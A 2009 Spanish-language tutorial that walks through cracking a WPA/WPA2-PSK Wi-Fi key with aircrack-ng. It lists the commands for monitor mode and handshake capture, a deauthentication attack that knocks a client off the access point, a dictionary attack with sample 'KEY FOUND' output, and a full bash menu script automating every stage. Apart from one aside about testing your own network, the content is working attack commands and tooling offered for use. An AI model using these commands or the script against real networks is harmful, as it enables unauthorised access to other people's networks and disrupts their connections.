-[ INFORMACIÓN ]--------------------------------------------------------------------- Titulo: Cracking WPA/WPA2-PSK with wordlist Autor: ka0x Contacto: ka0x01[alt+64]gmail.com Fecha: 08/03/2009 --------------------------------------------------------------------------------- -[ ÍNDICE ]--------------------------------------------------------------------- 0x01: Introducción 0x02: ¿Qué es el handshake? 0x03: Capturando handshake 0x04: Conseguir clave con diccionario 0x05: airoWPA-PSK.sh 0x06: Fin --------------------------------------------------------------------------------- ---[ 0x01: Introduction ] En este pequeño texto se explicará como obtener la clave de una red inalámbrica con cifrado WPA/WP2 en la que se esté usando un sistema de clave compartida (pre-shared keys - PSK). Para todo esto necesitaremos capturar un handshake y después con un diccionario atacar al handshake para obtener la clave. Imaginemos que en este caso tenemos la siguiente red inalambrica: - ESSID: ap_labs - BSSID: 00:1B:02:93:AF:9C - CANAL: 1 - CLIENTE: 01:C2:B3:04:02:05 ---[ 0x02: ¿Qué es el handshake? ] Pues el handshake se genera cuando un cliente se asocia a la red inalámbrica. Es como un saludo (apretón de manos) entre el punto de acceso y el cliente. Son los paquetes que se envían entre el AP y el cliente en el momento de la asociación, para que podamos empezar el ataque con diccionario en una red con cifrado WPA-PSK, necesitaremos haber capturado estos paquetes. --------------------------------------------------------------------------------- ---[ 0x03: Capturando handshake ] Bueno empecemos... Como dije, íbamos a utilizar la suite de aircrack-ng, si queremos los sources y demás podemos entrar a su web: http://www.aircrack-ng.org/doku.php#download Si utilizamos debian, encontraremos el paquete en los repositorios, instalar: # apt-get install aircrack-ng Para poder capturar paquetes, tendremos que poner nuestro adaptador wireles en modo monitor: # airmon-ng start p.e: # airmon-ng start wlan0 Siempre se necesitará tener un cliente 'real' asociado en el AP. Entonces una vez para empezar a capturar paquetes, utilizaremos airodump-ng: # airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0 --bssid -> MAC del punto de acceso. -w redWPA -> guardará los datos obtenidos en el archivo "redWPA". -c -> Canal del punto de acesso wlan0 -> interfaz adaptador inalambrico. Así capturaremos todo lo que pase por el punto de acceso con MAC: 00:1B:02:93:AF:9C Entonces vayamos a capturar el handshake... Como habíamos dicho antes el handshake se genera en el momento que un cliente se asocia al AP. Entonces, cómo hacemos que se vuelva asociar el cliente al AP? Facil, desautenticaremos al cliente del AP y esperamos a que se vuelva asociar, para este proceso usaremos el ataque 0 de aireplay-ng. Este ataque enviará al cliente paquetes de desautenticacion Uso: # aireplay-ng -0 5 -a -c |-> Numero de desautenticaciones que se enviarán. Si ponemos un 0, enviará desautenticaciones hasta que lo paremos. En este caso: # aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0 Cuando ejecutemos esto segun el numero de desautenticaciones nos aparecerá algo así: Sending DeAuth to station -- STMAC: [01:C2:B3:04:02:05] En el momento que el cliente se desasocie y se vuelva a asociar al AP, nosotros con el airodump-ng capturaremos el handshake. ¿Cómo sabemos que ya lo hemos capturado? Pues en la ventana donde tenemos corriendo el airodump-ng, arriba a la derecha, veremos algo así: CH 1 ] [ Elapsed: 14 mins ][ 2009-03-08 ][ WPA handshake: 00:1B:02:93:AF:9C Una vez que nos aparezca eso, ya podemos cerrar todo, en el archivo redWPA-01.cap ya tendremos el dichoso handshake =) --------------------------------------------------------------------------------- ---[ 0x04: Conseguir clave con diccionario ] Una vez teniendo el handshake, ya podemos utilizar un diccionario de posibles claves para que aircrack-ng compruebe haber si alguna de las claves del diccionario coincide con la del AP. ¿Qué diccionario usar? pues el de john the ripper, alguno propio, hay muchos... aunque se supone que esto es para comprobar la seguridad de tu red wireless y ya te tendrás que saber de sobra tu clave. La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres. Empecemos... Si ejecutamos: # aircrack-ng redWPA-01.cap Podremos ver que tenemos un handshake: --------- Opening wpa-hand.cap Read 553 packets. # BSSID ESSID Encryption 1 00:1B:02:93:AF:9C ap_labs WPA (1 handshake) <------ Choosing first network as target. Opening wpa-hand.cap Please specify a dictionary (option -w). Quitting aircrack-ng... --------- Uso de aircrack-ng con diccionario: # aircrack-ng -w Suponiendo que nuestro archivo de datos capturados donde se encuentra el handshake se llama redWPA-01.cap, lo ejecutaremos de la siguiente forma: # aircrack-ng -w diccionario.lst redWPA-01.cap Entonces aquí ya aircrack-ng se pondrá a comprobar las posibles claves del diccionario hasta obtenerla. Una vez obtenida, nos aparecerá lo siguiente: --------- Aircrack-ng 1.0 rc1 [00:00:00] 0 keys tested (0.00 k/s) KEY FOUND! [ clave__ap ] Master Key : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9 DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09 Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5 8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0 C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0 F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78 EAPOL HMAC : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26 --------- Hay ya vemos que encontro la clave y que es 'clave__ap'. Como vemos el proceso de obtener una clave WPA/WPA2-PSK no es tan dificil siempre y cuando sepamos nuestra clave, ya que si no la sabríamos este proceso podría durar horas, dias e incluso !!semanas!! --------------------------------------------------------------------------------- ---[ 0x05: airoWPA-PSH.sh ] Para simplificar un poco este proceso de obtención de la clave, hice un pequeño script en bash sencillo que te puede servir si eres un poco vago :P <-----------------airoWPA-PSK.sh---------------------> #!/bin/bash # airoWPA-PSK.sh v0.1 # written by ka0x if [ $UID != 0 ]; then echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO" exit fi comprueba_mac(){ if [ ! "${#1}" -eq "17" ]; then echo -e "\033[31mMac Incorrecta\n\033[0m" exit fi } interfaces() { echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n" INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }') select INTER in $INTERFACES; do break; done clear } monitor(){ airmon-ng start $INTER clear menu } handshake(){ clear read -p "[-] Introduzca la MAC del AP: " mac_ap comprueba_mac $mac_ap read -p "[-] Introduzca la MAC del Cliente: " mac_client comprueba_mac $mac_client read -p "[-] Introduzca el canal del AP: " mac_chanel read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu } desautenticacion(){ clear read -p "[-] Introduzca la MAC del AP: " mac_ap comprueba_mac $mac_ap read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente comprueba_mac $mac_cliente read -p "[-] Introduzca el numero de desautenticaciones: " num xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER clear menu } crack_dicc(){ clear read -p "[-] Introduzca la ruta del diccionario: " diccionario echo "[-] Seleccione el archivo de datos capturados:" LS_DIR=$(ls *.cap) select DATA in $LS_DIR; do break; done xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA menu } menu(){ echo -e "\n[*] Opciones:\n" echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m" echo "1 - Activar Modo Monitor" echo "2 - Capturar handshake" echo "3 - Desautenticar cliente" echo "4 - Fuerza bruta con diccionario a handshake" echo "5 - Salir" echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m" read -p "opcion> " OPCION case $OPCION in "1") monitor;; "2") handshake;; "3") desautenticacion;; "4") crack_dicc;; "5") exit;; *) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;; esac } interfaces menu # __EOF__ <------------------------------------------------> --------------------------------------------------------------------------------- ---[ 0x06: Fin ] Bueno pues eso es todo, los pasos son bastantes sencillos, cualquier duda pueden entrar a la web de aircrack-ng (http//www.aircrack-ng.org) donde podrán encontrar abundante documentación o mismamente enviándome un email. Espero que haya quedado bastante claro. Un saludo! # ka0x --------------------------------------------------------------------------------- __EOF__